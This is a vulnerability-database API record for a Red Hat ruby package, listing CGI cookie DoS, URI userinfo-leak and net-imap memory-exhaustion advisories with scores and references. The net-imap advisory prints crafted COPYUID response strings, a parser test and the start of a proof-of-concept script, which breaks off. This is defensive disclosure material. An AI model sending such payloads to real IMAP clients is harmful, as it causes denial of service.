Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/91148?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/91148?format=api", "purl": "pkg:rpm/redhat/ruby@3.3.8-10?arch=el10_0", "type": "rpm", "namespace": "redhat", "name": "ruby", "version": "3.3.8-10", "qualifiers": { "arch": "el10_0" }, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": null, "latest_non_vulnerable_version": null, "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/29268?format=api", "vulnerability_id": "VCID-exq5-cnrm-3uhd", "summary": "CGI has Denial of Service (DoS) potential in Cookie.parse\nThere is a possibility for DoS by in the cgi gem.\nThis vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem.\n\n## Details\n\nCGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service.\n\nPlease update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.\n\n## Affected versions\n\ncgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.\n\n## Credits\n\nThanks to lio346 for discovering this issue.\nAlso thanks to mame for fixing this vulnerability.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-27219.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-27219.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-27219", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00316", "scoring_system": "epss", "scoring_elements": "0.54679", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00316", "scoring_system": "epss", "scoring_elements": "0.54678", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00316", "scoring_system": "epss", "scoring_elements": "0.5464", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00316", "scoring_system": "epss", "scoring_elements": "0.54661", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00349", "scoring_system": "epss", "scoring_elements": "0.57409", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00349", "scoring_system": "epss", "scoring_elements": "0.57444", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00416", "scoring_system": "epss", "scoring_elements": "0.6169", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00416", "scoring_system": "epss", "scoring_elements": "0.61675", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00623", "scoring_system": "epss", "scoring_elements": "0.70084", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00778", "scoring_system": "epss", "scoring_elements": "0.73631", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00778", "scoring_system": "epss", "scoring_elements": "0.73608", "published_at": "2026-04-02T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-27219" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27219", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27219" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ruby/cgi", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/cgi" }, { "reference_url": "https://github.com/ruby/cgi/pull/52", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/cgi/pull/52" }, { "reference_url": "https://github.com/ruby/cgi/pull/53", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/cgi/pull/53" }, { "reference_url": "https://github.com/ruby/cgi/pull/54", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/cgi/pull/54" }, { "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cgi/CVE-2025-27219.yml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-04T16:41:05Z/" } ], "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cgi/CVE-2025-27219.yml" }, { "reference_url": "https://hackerone.com/reports/2936778", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-04T16:41:05Z/" } ], "url": "https://hackerone.com/reports/2936778" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27219", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27219" }, { "reference_url": "https://www.cve.org/CVERecord?id=CVE-2025-27219", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3", "scoring_elements": "" }, { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.cve.org/CVERecord?id=CVE-2025-27219" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103792", "reference_id": "1103792", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103792" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2349699", "reference_id": "2349699", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2349699" }, { "reference_url": "https://github.com/advisories/GHSA-gh9q-2xrm-x6qv", "reference_id": "GHSA-gh9q-2xrm-x6qv", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-gh9q-2xrm-x6qv" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:10217", "reference_id": "RHSA-2025:10217", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:10217" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4063", "reference_id": "RHSA-2025:4063", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4063" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4487", "reference_id": "RHSA-2025:4487", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4487" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4488", "reference_id": "RHSA-2025:4488", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4488" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4493", "reference_id": "RHSA-2025:4493", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4493" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:8131", "reference_id": "RHSA-2025:8131", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:8131" }, { "reference_url": "https://usn.ubuntu.com/7418-1/", "reference_id": "USN-7418-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7418-1/" }, { "reference_url": "https://usn.ubuntu.com/7442-1/", "reference_id": "USN-7442-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7442-1/" } ], "fixed_packages": [], "aliases": [ "CVE-2025-27219", "GHSA-gh9q-2xrm-x6qv" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-exq5-cnrm-3uhd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/29314?format=api", "vulnerability_id": "VCID-n1ja-n53g-fycm", "summary": "URI allows for userinfo Leakage in URI#join, URI#merge, and URI#+\nThere is a possibility for userinfo leakage by in the uri gem.\nThis vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem.\n\n## Details\n\nThe methods `URI#join`, `URI#merge`, and `URI#+` retained userinfo, such as `user:password`, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur.\n\nPlease update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later.\n\n## Affected versions\n\nuri gem versions < 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2.\n\n## Credits\n\nThanks to Tsubasa Irisawa (lambdasawa) for discovering this issue.\nAlso thanks to nobu for additional fixes of this vulnerability.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-27221.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-27221.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-27221", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00038", "scoring_system": "epss", "scoring_elements": "0.11384", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00038", "scoring_system": "epss", "scoring_elements": "0.1144", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00118", "scoring_system": "epss", "scoring_elements": "0.30715", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00137", "scoring_system": "epss", "scoring_elements": "0.33592", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00137", "scoring_system": "epss", "scoring_elements": "0.33558", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00137", "scoring_system": "epss", "scoring_elements": "0.33581", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00137", "scoring_system": "epss", "scoring_elements": "0.33568", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00152", "scoring_system": "epss", "scoring_elements": "0.35907", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00166", "scoring_system": "epss", "scoring_elements": "0.37709", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00166", "scoring_system": "epss", "scoring_elements": "0.37695", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00173", "scoring_system": "epss", "scoring_elements": "0.38651", "published_at": "2026-04-21T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-27221" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27221", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27221" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-27221.yml", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-04T16:38:46Z/" } ], "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-27221.yml" }, { "reference_url": "https://github.com/ruby/uri", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/uri" }, { "reference_url": "https://github.com/ruby/uri/pull/154", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/uri/pull/154" }, { "reference_url": "https://github.com/ruby/uri/pull/155", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/uri/pull/155" }, { "reference_url": "https://github.com/ruby/uri/pull/156", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/uri/pull/156" }, { "reference_url": "https://github.com/ruby/uri/pull/157", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/uri/pull/157" }, { "reference_url": "https://hackerone.com/reports/2957667", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-04T16:38:46Z/" } ], "url": "https://hackerone.com/reports/2957667" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00015.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00015.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27221", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27221" }, { "reference_url": "https://www.cve.org/CVERecord?id=CVE-2025-27221", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "" }, { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.cve.org/CVERecord?id=CVE-2025-27221" }, { "reference_url": "https://www.ruby-lang.org/en/news/2025/02/26/security-advisories", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "2.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.ruby-lang.org/en/news/2025/02/26/security-advisories" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103794", "reference_id": "1103794", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103794" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2349700", "reference_id": "2349700", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2349700" }, { "reference_url": "https://github.com/advisories/GHSA-22h5-pq3x-2gf2", "reference_id": "GHSA-22h5-pq3x-2gf2", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-22h5-pq3x-2gf2" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:10217", "reference_id": "RHSA-2025:10217", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:10217" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4063", "reference_id": "RHSA-2025:4063", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4063" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4488", "reference_id": "RHSA-2025:4488", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4488" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4493", "reference_id": "RHSA-2025:4493", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4493" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:8131", "reference_id": "RHSA-2025:8131", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:8131" }, { "reference_url": "https://usn.ubuntu.com/7418-1/", "reference_id": "USN-7418-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7418-1/" }, { "reference_url": "https://usn.ubuntu.com/7442-1/", "reference_id": "USN-7442-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7442-1/" } ], "fixed_packages": [], "aliases": [ "CVE-2025-27221", "GHSA-22h5-pq3x-2gf2" ], "risk_score": 1.6, "exploitability": "0.5", "weighted_severity": "3.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-n1ja-n53g-fycm" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/26875?format=api", "vulnerability_id": "VCID-wyjh-cuuy-zbeb", "summary": "Possible DoS by memory exhaustion in net-imap\n### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than\n# UINT32_MAX can be created. For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n parser = Net::IMAP::ResponseParser.new\n parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n ```ruby\n limit = 1000\n imap.add_response_handler do |resp|\n next unless resp.respond_to?(:name) && resp.respond_to?(:data)\n name = resp.name\n code = resp.data.code&.name if resp.data.respond_to?(:code)\n if Net::IMAP::VERSION > \"0.4.0\"\n imap.responses(name) { _1.slice!(0...-limit) }\n imap.responses(code) { _1.slice!(0...-limit) }\n else\n imap.responses(name).slice!(0...-limit)\n imap.responses(code).slice!(0...-limit)\n end\n end\n ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire 'socket'\nrequire 'net/imap'\n\nif !defined?(Net::IMAP.config)\n puts 